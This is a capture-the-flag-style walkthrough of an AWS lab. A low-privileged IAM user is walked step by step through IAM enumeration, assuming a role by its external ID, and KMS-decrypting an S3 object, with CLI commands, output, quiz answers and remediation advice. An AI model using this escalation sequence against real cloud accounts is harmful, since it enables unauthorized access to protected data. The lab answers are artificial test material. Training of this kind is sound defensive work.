Assume & Decrypt (or vice versa) Walkthrough
Lab Info
Section titled “Lab Info”Lab Name: Assume & Decrypt (or vice versa)
Platform: Infinity Learning
1. Description:
Section titled “1. Description:”We start with a low-privileged IAM user that has basic visibility and limited S3 access. An encrypted S3 object cannot be downloaded because the user lacks KMS permissions. IAM enumeration reveals a role with kms:Decrypt access and a required external ID. We assume that role, decrypt the object, and retrieve the target artifact.
1.1 Attack Flow:
Section titled “1.1 Attack Flow:”
2. Initial Access and Enumeration
Section titled “2. Initial Access and Enumeration”2.1 Initial Access Creds for Assumed Breach
Section titled “2.1 Initial Access Creds for Assumed Breach”Access_Key_ID: [REDACTED_ACCESS_KEY]Secret_Access_Key: [REDACTED_SECRET_KEY]Configure obtained AWS credentials
aws configure --profile assume_escAWS Access Key ID [None]: [REDACTED_ACCESS_KEY]AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]Default region name [None]: us-east-1Default output format [None]: jsonCaller Identity Output:
aws sts get-caller-identity --profile assume_esc{ "UserId": "AIDAQ3EGUZMESHJMZMYYT", "Account": "058264439561", "Arn": "arn:aws:iam::058264439561:user/Operation_Manager"}- Username:
Operation_Manager
2.2 IAM Enumeration
Section titled “2.2 IAM Enumeration”List Managed policies attached to the user
aws iam list-attached-user-policies --profile assume_esc --user-name Operation_Manager{ "AttachedPolicies": []}- There are no managed policies attached to the user
Operation_Manager.
List Inline policies attached to the user
aws iam list-user-policies --user-name Operation_Manager --profile assume_esc{ "PolicyNames": [ "Operation_Manager_User_Policy" ]}- We inspect
Operation_Manager_User_Policyto see what permissions it grants.
Q1 Answer: Operation_Manager_User_Policy
Get inline policy details
aws iam get-user-policy --policy-name Operation_Manager_User_Policy --user-name Operation_Manager --profile assume_esc{ "UserName": "Operation_Manager", "PolicyName": "Operation_Manager_User_Policy", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket", "s3:GetObject" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::proj-446792", "arn:aws:s3:::proj-446792/*" ] }, { "Action": [ "iam:GetUser", "iam:GetRole", "iam:GetPolicy", "iam:ListRoles", "iam:ListPolicies", "iam:ListUserPolicies", "iam:ListRolePolicies", "iam:ListAttachedUserPolicies", "iam:ListAttachedRolePolicies", "iam:GetUserPolicy", "iam:GetRolePolicy", "iam:GetPolicyVersion" ], "Effect": "Allow", "Resource": "*" } ], "Version": "2012-10-17" }}2.3 S3 Enumeration
Section titled “2.3 S3 Enumeration”List S3 buckets accessible with the permissions above
aws s3 ls s3://proj-446792 --profile assume_esc2025-09-22 12:56:04 193 proj-446792-config.jsonigris@pentest ~aws s3 cp s3://proj-446792/proj-446792-config.json . --profile assume_escdownload failed: s3://proj-446792/proj-446792-config.json to ./proj-446792-config.json An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:iam::058264439561:user/Operation_Manager is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:us-east-1:058264439561:key/c34e1aff-8c91-40a7-8969-a18e0864815b because no identity-based policy allows the kms:Decrypt action- The authenticated user
Operation_Managerdoes not have permission to access KMS Keys. - We need permission to assume a role whose own permissions allow the S3 read and KMS decryption. The caller’s ability to assume a role is separate from what the resulting session can do.
2.4 IAM Enumeration (Continued)
Section titled “2.4 IAM Enumeration (Continued)”List roles in the account. A role appearing in list-roles does not establish that Operation_Manager can assume it.
aws iam list-roles --profile assume_esc | tee out.txt{ "Path": "/", "RoleName": "customer-onboard-role", "RoleId": "AROAQ3EGUZME4CFZJKLB7", "Arn": "arn:aws:iam::058264439561:role/customer-onboard-role", "CreateDate": "2025-09-25T08:03:57+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::058264439561:user/Operation_Manager" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "sts:ExternalId": "A7F3K2-9X0B5D-Q4M8N1-V6P7R3" } } }, { "Sid": "", "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Allows EC2 instances to call AWS services on your behalf.", "MaxSessionDuration": 3600 }- The
customer-onboard-roletrust policy explicitly allowsOperation_Managerto callsts:AssumeRoleand obtain temporary role credentials. - Q2 Answer:
customer-onboard-role - Q3 Answer:
A7F3K2-9X0B5D-Q4M8N1-V6P7R3
List inline policies attached to the role customer-onboard-role
aws iam list-role-policies --role-name customer-onboard-role --profile assume_esc{ "PolicyNames": [ "customer-onboard-role-policy" ]}- Policy name:
customer-onboard-role-policy
Get Role Policy permission for customer-onboard-role-policy
aws iam get-role-policy --role-name customer-onboard-role --policy-name customer-onboard-role-policy --profile assume_esc{ "RoleName": "customer-onboard-role", "PolicyName": "customer-onboard-role-policy", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket", "s3:GetObject" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::proj-446792", "arn:aws:s3:::proj-446792/*" ] }, { "Action": [ "kms:Decrypt" ], "Effect": "Allow", "Resource": "arn:aws:kms:us-east-1:058264439561:key/c34e1aff-8c91-40a7-8969-a18e0864815b" } ], "Version": "2012-10-17" }}- The
customer-onboard-rolehas KMS decrypt permission. We can assume it and download the S3 bucket contents to find the flag.
3. Pivot to Decrypt S3
Section titled “3. Pivot to Decrypt S3”An SSE-KMS read needs access to the S3 object and authorization to use its KMS key. An identity-policy allowance for kms:Decrypt is not sufficient if the key policy or another applicable control blocks the request. S3 performs the decryption during an authorized download; this differs from passing a raw SSE-C key. See AWS’s SSE-KMS permissions.
Assume the role with external ID:
aws sts assume-role --role-arn arn:aws:iam::058264439561:role/customer-onboard-role --role-session-name escalate_ec2 --profile assume_esc --external-id A7F3K2-9X0B5D-Q4M8N1-V6P7R3{ "Credentials": { "AccessKeyId": "[REDACTED_TEMP_ACCESS_KEY]", "SecretAccessKey": "[REDACTED_TEMP_SECRET_KEY]", "SessionToken": "[REDACTED_SESSION_TOKEN]", "Expiration": "2025-12-12T10:04:00+00:00" }, "AssumedRoleUser": { "AssumedRoleId": "AROAQ3EGUZME4CFZJKLB7:escalate_ec2", "Arn": "arn:aws:sts::058264439561:assumed-role/customer-onboard-role/escalate_ec2" }}- Set up a CLI profile with the temporary credentials:
Configure the new profile:
aws configure --profile cus_orAWS Access Key ID [None]: [REDACTED_TEMP_ACCESS_KEY]AWS Secret Access Key [None]: [REDACTED_TEMP_SECRET_KEY]Default region name [None]: us-east-1Default output format [None]: jsonAdd the session token under [cus_or] in ~/.aws/credentials; AWS CLI configuration does not prompt for it:
[cus_or]aws_access_key_id = REDACTED_TEMP_ACCESS_KEYaws_secret_access_key = REDACTED_TEMP_SECRET_KEYaws_session_token = REDACTED_SESSION_TOKENVerify identity:
aws sts get-caller-identity --profile cus_or{ "UserId": "AROAQ3EGUZME4CFZJKLB7:escalate_ec2", "Account": "058264439561", "Arn": "arn:aws:sts::058264439561:assumed-role/customer-onboard-role/escalate_ec2"}We list the S3 bucket with escalate_ec2 and download the S3 object:
aws s3 cp s3://proj-446792/proj-446792-config.json . --profile cus_ordownload: s3://proj-446792/proj-446792-config.json to ./proj-446792-config.jsoncat ./proj-446792-config.json{ "project": "proj-446792", "environment": "prod", "notes": "[REDACTED_FLAG]", "metadata": { "owner": "cloudsec-team", "created": "2025-09-22" }}- Because we now have kms:Decrypt permission, the object is automatically decrypted during download.
- The file proj-446792-config.json is saved locally and ready for inspection.
- Q4 Answer:
[REDACTED_FLAG]
4. Key Takeaway
Section titled “4. Key Takeaway”- IAM read access can reveal escalation paths.
- S3 objects may require KMS permissions.
- The trust policy admits our starting principal when we supply its external-ID condition. The resulting role session provides the missing access.
- Misconfigured trust policies directly expose sensitive data.
5. Remediation Steps
Section titled “5. Remediation Steps”- Remove unnecessary IAM read privileges from low-privileged users.
- Restrict the trusted principals. AWS external IDs address the confused-deputy problem; they are not passwords or secrets.
- Limit
kms:Decryptaccess to tightly controlled identities. - Audit S3 and KMS usage, and monitor CloudTrail for suspicious role assumptions.